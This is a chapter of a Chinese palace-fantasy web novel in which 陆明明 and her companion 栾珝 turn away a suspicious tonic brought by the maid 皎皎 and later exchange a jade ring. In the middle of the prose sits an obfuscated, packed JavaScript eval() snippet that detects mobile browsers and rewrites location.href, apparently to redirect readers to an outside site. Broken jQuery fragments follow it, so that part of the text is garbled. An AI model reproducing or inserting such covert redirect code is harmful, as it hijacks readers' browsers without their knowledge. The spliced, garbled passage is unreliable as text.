黄三山 作品
19. 黄鼠狼给鸡拜年
“那骨已融入她的骨血,只需要再等一年,时机一到,自会有人取出,送归您面前!”
“都怪我一时私心作祟,暗中篡改噎鸣仙君所借漏刻,才让您在此世凭白滞留许久!”
那人闻言笑了,眉眼弯弯,轻轻拭去栾珝长睫上挂着的泪,“你何错之有?既然你不愿我去,那我就不去了。只是想着若现在为她易骨,她也许还能活一段时间,若到时由凡人动手,恐怕……”
“一饮一啄皆有定数,您又何苦为凡人遭受此劫!”栾珝郑重道。
那人并没有回应,只是一下下轻拍着安抚栾珝,良久,才缓缓启唇:“虽说因兽骨在此,我得以多暂留一段时间,但毕竟未重新找回仙骨,我还仍需沉睡。”
栾珝轻轻点头,将身体逐渐瘫软的少女重新安置在床上,望着少女沉静的睡颜,眼中满是心疼与不舍,而思绪则逐渐飘远。
如果说一饮一啄皆有天定,那我爱你也是天定吗?
栾珝静静地看着躺在床上的少女,忽然周围的灵气又开始退散,他知道是有人进来了,便起身相迎。
来者梳着双丫髻,粉色的宫装衬得她活泼灵动,她手捧托盘,其上一碗看不出成分的药汁正冒着热气,旁边摆着盘晶莹剔透的点心果子,斜侧放着一对精巧的银制叉子和勺子。
不是皎皎还能是谁?
皎皎见碧纱橱里走出一个宫装美人,不禁张嘴微微愣住,直到对方在自己眼前晃了晃手,才回过神来。
眼前美人虽然容貌迤逦,但神色冷漠,整个人又高又傲,像挂霜的红梅让人望而却步。
“你来所为何事?”栾珝语气冷淡。
皎皎还未言语先吃了一口冰碴子,本来热络的心也不由得凉了半截,没好气地反问:“你们娘娘呢?”
栾珝就算再怎么清瘦,毕竟也是个男子,结结实实地往中间一站,任凭皎皎怎么探也看不见里面的情况。
“我再问一遍,你来所为何事?”
皎皎一把将托盘硬塞进栾珝手中,“我们娘娘心善,特意从太医院送来的补药里分出一些给你们。”
“我们娘娘说了,‘既然同为天子妃,更应尽快调养身体,为陛下绵延皇嗣才是正事,这是太后娘娘让太医院妇科太医配置的汤药。’苦是苦了点,还是赶紧叫醒你们家主子,让她趁热喝了吧。”
栾珝并不领情,端着托盘始终站在三步开外,“我替我家主子谢过莺嫔娘娘,只是药方讲究因人而异,随意服用恐怕不妥。况且这药十分珍贵,少了半副或许会受影响,既然是太后娘娘的心意,所以还是请你拿回去给莺嫔娘娘服下才是。”
皎皎也不甘示弱,抢过药碗,抻着脖子就朝屋里喊,“陆嫔娘娘,陆嫔娘娘,该吃药了!”
两个人的争执声吵醒了陆明明,她揉着惺忪睡眼坐了起来,好奇外面究竟发生了什么事。
皎皎仗着身形灵巧,硬生生从门缝边挤了过去,一屁股坐在脚踏上,又将刚才地说辞耐心地重复了一遍,也许是怕陆明明起疑,皎皎捻过银勺,在汤药中搅动了几下。
陆明明垂眸凝视着皎皎纤长的手指握着银勺的勺柄的模样,本该是一幅美景,只可惜那黑如浓墨的药汁破坏了美感。当银勺拿出来时,勺面依旧光亮如新,未有任何变化。
“我们家娘子体贴,知道在这宫里人大家都小心谨慎,于是特意命我找来一副银勺银叉,以便自证清白。又怕您嫌苦,不肯喝下去,所以吩咐我一定要看着您喝了,她才放心。”皎皎补充道,语气里满是自豪,显然对自家娘娘的细心周到颇为骄傲。
“药是好东西,但我还未吃东西,空腹喝药,再好的补药也怕肠胃不适,你先放这儿吧,代我谢过你家娘娘的好意。”
陆明明示意栾珝接过那药先放在桌子上,随后站起身,细细打量眼前的少女,离得越近,她越觉得奇怪,总感觉皎皎像是一具皮囊,而对方的身体里似乎有什么东西正在躁动,迫不及待地想要回到她的身体里。可潜意识却在拼命压制住她内心的冲动,警告她千万不可以这么做。
陆明明觉得很奇怪,冥冥之中似乎总有股力量将她与那个名叫皎皎的少女牵扯到一起。明明如月,皎皎月轮,她们连名字都是如此的有缘。
“你……”
陆明明眉头微蹙,举臂前伸,似要挖向对方的眉眼,最终却还是只轻轻抚上皎皎的侧脸,“你为何会出现在这里?”
皎皎也许是觉得陆明明这个问题有些奇怪,也许是觉得陆明明眼底嗜血的欲望过于浓重,强撑着仰视着高处的少女,声音里不自觉带上了颤音:“我和你说过的,我要跟着我们家娘子。”
陆明明闻言,重新坐回床上,小声嘀咕了一句“也挺好”,随后摆了摆手,示意皎皎离开。
可皎皎却十分固执,站在原地不肯离去,大有陆明明不喝完便誓不罢休的架势。
可惜陆明明头疼得厉害,生怕再和皎皎待一会,自己真的会失控,用眼神示意栾珝将皎皎给丢出去。
皎皎哪里是青鸾的对手,陆明明躺在床上,隔着窗纱感受到房间内重新流淌灵气,知道栾珝已将皎皎弄走,这才松了口气,招呼栾珝过来。
她枕在栾珝的膝上,享受着少年轻柔地按摩,闭目养神,过了良久,察觉到栾珝的动作停了,她回握住栾珝的手,睁眼便看见栾珝若有所思的脸,于是捏了捏栾珝的脸颊上的软肉,逗弄道:“想什么呢?”
栾珝微微一笑,“在想您眼睛的颜色真好看,介于金色和棕色之间,像琥珀一样。”
陆明明拧了拧对方的脸,语气里半是嗔怪,半是无奈,“还拿我当三岁小孩哄呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604623|170159||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
说着,她看向自己的双手,高高举起到眼前,十指微张,掌心向上,这是一双再普通不过人类的手,指腹饱满,指根如削,
“栾珝,你信吗?”陆明明认真观察着自己的双手,“就是这双手,看着也没什么特殊的对不对?可刚刚,我差点没控制住自己,竟然想活剥了她,还好我忍住了。”
“刚刚我分明感觉到她的身体里似乎有什么正在疯狂涌动,想迫不及待回到我的身体里,我甚至好像听见了她的骨头在哀鸣。”
栾珝不由分说地摁住了她的手,不允许她继续胡思乱想,“也许您是讨厌她逼着您喝药?”
陆明明的注意力果然被转移了,她有些无语地用双手覆住脸,深深地叹了口气。
“怎么会有那么实心眼的孩子,用小脚趾头想想都会觉得肯定有问题吧。”
栾珝抬手将那碗汤药隔空取来,右手结印,随着喃喃的咒语声,汤药徐徐升上空中,深褐色的药汁中,各类药材逐渐分离还原。
白术、人参、茯苓、当归……
栾珝领着陆明明逐一辨认,遇见她不认识药材,还会停下详细讲解一番。
大多数药材确实都是养气补血之物陆明明有些摸不准头绪,难道真的是自己以小人之心度莺嫔君子之腹,实际上对方是出自一片好心?
不过,无论莺嫔出于什么目的,陆明明都不会喝下这碗汤药,有栾珝在身侧,她对朱祁钰毫无兴趣,仔细想想,对陆明明来说。他身边的任何御用之物都比他本人更具吸引力,毕竟皇帝可不能用来倒卖。
想到这里,她突然回忆起朱祁钰曾送给过她一个扳指,价值不菲,可不能弄丢了。她在身上反复摸索,却遍寻不到,于是转而询问栾珝是否见过那枚扳指。
栾珝听见这个问题,面色瞬间比身上的青衣还要嫩绿,他闷闷不乐地佯装翻找半天,随后神秘兮兮地握紧拳头,示意陆明明来看。
陆明明顺势搂住栾珝的脖颈,轻轻掰开他的手指,一枚成色极好的蛋面翡翠戒指露出来,这翡翠水头很足,在夜明珠柔和的光晕下,像一汪凝固的绿泉。
陆明明伸出中指,暗示栾珝为自己戴上。不知为何,栾珝握着戒指的手指微微颤抖,试了好几遍,翡翠戒指才终于套进她的中指。
陆明明迎着光,反复欣赏了好几遍,爱不释手地将左手藏在身后,试探性的问道:“既然送给我了,那可就是我的了。”
栾珝将脸埋进少女的颈窝,平日里美艳绝伦的青鸾此刻脸红得像熟透的虾子,他默默点了点头,半晌才解释道:“我也不知道扳指去哪了。不过有了我的戒指,就不许惦记他送的东西了!”
陆明明得了新的首饰,心中虽仍对丢失的扳指感到惋惜,但也不好再追问栾珝,暗想等有机会一定要仔细寻找一下。
然而此时沉迷于美色的她还不知道,明日的乾清宫,一场精彩绝伦的好戏正等着她这位唯一的观众到位。